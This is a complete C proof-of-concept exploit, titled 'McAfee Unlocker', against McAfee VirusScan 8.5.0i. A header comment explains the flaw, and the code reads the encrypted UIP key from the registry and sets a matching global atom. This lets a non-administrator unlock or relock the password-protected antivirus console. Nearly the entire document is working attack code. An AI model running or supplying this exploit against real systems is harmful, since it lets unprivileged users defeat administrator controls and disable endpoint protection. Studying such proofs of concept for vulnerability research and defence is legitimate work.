`/***************************************************************************
*
* McAfee VirusScan 8.5.0i local exploitable issue - McAfee Unlocker
*
* by Bendi [zbendi <at> gmail.com]
*
* McAfee VirusScan 8.5.0i can be locked with password by admin ...
* and unlocked withount it !
*
* Encrypted password is in registry but not accessible in writing.
* Once admin has unlocked McAffe, a global Atom is set with "UIP-"
* and the encrypted key as name.
* Basic user can take admin privilege with manually set
* the global atom. It's what this code do !
*
************************************************************************/
#include <windows.h>
int WINAPI WinMain (HINSTANCE hThisInstance,
HINSTANCE hPrevInstance,
LPSTR lpszArgument,
int nFunsterStil)
{
HKEY HkDesktopProtection;
char sUIP[256]="UIP-";
DWORD dSizesUip = sizeof(sUIP);
ATOM GlobalAtom;
DWORD iInstallErr;
iInstallErr = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\McAfee\\DesktopProtection",
0,
KEY_READ,
&HkDesktopProtection);
if(iInstallErr==ERROR_SUCCESS)
{
iInstallErr = RegQueryValueEx(
HkDesktopProtection,
"UIP",
NULL,
NULL,
(BYTE *)&sUIP+4,
&dSizesUip);
if(iInstallErr==ERROR_SUCCESS)
{
GlobalAtom = GlobalFindAtom(sUIP);
if(GlobalAtom)
{
GlobalDeleteAtom(GlobalAtom);
MessageBox(NULL,
"McAfee is now locked !",
"McAfee Unlocker",
MB_OK|MB_ICONINFORMATION);
}
else
{
GlobalAddAtom(sUIP);
MessageBox(NULL,
"McAfee is now unlocked :-)!",
"McAfee Unlocker",
MB_OK|MB_ICONINFORMATION);
}
}
else
{
iInstallErr=TRUE;
}
RegCloseKey(HkDesktopProtection);
}
if(iInstallErr!=ERROR_SUCCESS)
{
MessageBox(NULL,
"McAfee 8.5.0i is not found !",
"McAfee Unlocker",
MB_OK|MB_ICONWARNING);
}
return 0;
}
`
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